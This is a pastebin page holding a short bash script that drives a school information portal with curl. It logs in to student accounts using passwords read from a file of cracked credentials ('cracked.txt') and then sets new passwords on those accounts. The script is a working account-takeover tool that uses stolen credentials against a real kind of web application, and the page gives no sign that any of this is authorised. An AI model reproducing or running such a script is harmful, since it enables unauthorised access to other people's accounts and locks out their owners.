cgssp

From Colossal Partdridge, 7 Years ago, written in Plain Text, viewed 724 times.
URL https://code.nat.moe/view/9c49c7f0 Embed
Download Paste or View Raw
  1. #!/bin/bash
  2.  
  3. # cgssp - Country Gadern School Set Pass
  4.  
  5. SSID_GEN_URL="http://127.0.0.1:8080/mis/info/menu_info.asp?type=%D1%A7%C9%FA%CD%F8%D2%B3"
  6. AUTH_URL="http://127.0.0.1:8080/mis/info/list.asp"
  7. PWD_URL="http://137.0.0.1:8080/mis/info/pub_info/set_pass.asp"
  8. SSID_FILENAME="./.ssid.cookie"
  9. CRACKED_SAVE="../cgspasswd/cracked.txt"
  10.  
  11. function update_ssid {
  12.         echo -n "Updateing ssid... "
  13.         curl -c $SSID_FILENAME $SSID_GEN_URL > /dev/null 2> /dev/null
  14.         [[ $? == "0" ]] && echo "OK" || echo "Failed!" && exit 1
  15. }
  16.  
  17. function set_passwd {
  18.         [[ ! -z $(curl -b .ssid.cookie --data "hd=002&T1=$1&T2=$1" $PWD_URL 2> /dev/null | iconv -f gbk -t utf-8 | grep OK) ]] && echo "Password changed." && return 0
  19.         echo "Error while chaging password." && return 1
  20. }
  21.  
  22. function try_acct {
  23.         [[ -z $1 ]] && echo "try_acct: Missing parameters" && return 1
  24.         [[ ! -e $SSID_FILENAME ]] && echo "try_acct: Missing ssid file" && return 1
  25.         if [[ ! -z $2 ]]
  26.         then
  27.                 passwd=$2
  28.         else
  29.                 ACCT=$(cat $CRACKED_SAVE | grep $1 | sed -e "s/.*Type //g" | sed -e "s/ ID //g" | sed -e "s/ Password //g" | tr " " "\n" | uniq )
  30.                 passwd=$(echo $ACCT | awk -F, '{print $3}')
  31.         fi
  32.         [[ ! -z $(curl -b $SSID_FILENAME --data "tbarno=$1&passwd=$passwd&hd=002" $AUTH_URL 2> /dev/null | iconv -f gbk -t utf-8 | grep 个人资料) ]] && echo "true" && return 0
  33.         echo "false" && return 1
  34. }
  35.  
  36. function main {
  37.         update_ssid
  38.         echo -e "cgssp 0.1 - If you don't know password, leave it blank, cgssp will search \ncgspasswd db."
  39.         echo -n "Login: "; read id;
  40.         echo -n "Password: "; read pw;
  41.         if [[ $(try_acct $id $pw) == "true" ]]
  42.         then
  43.                 echo -n "New password: "
  44.                 read pw
  45.                 set_passwd $pw
  46.                 return 0
  47.         fi
  48.         echo "Cannot auth." && return 1
  49. }
  50.  
  51. main

Reply to "cgssp"

Here you can reply to the paste above

captcha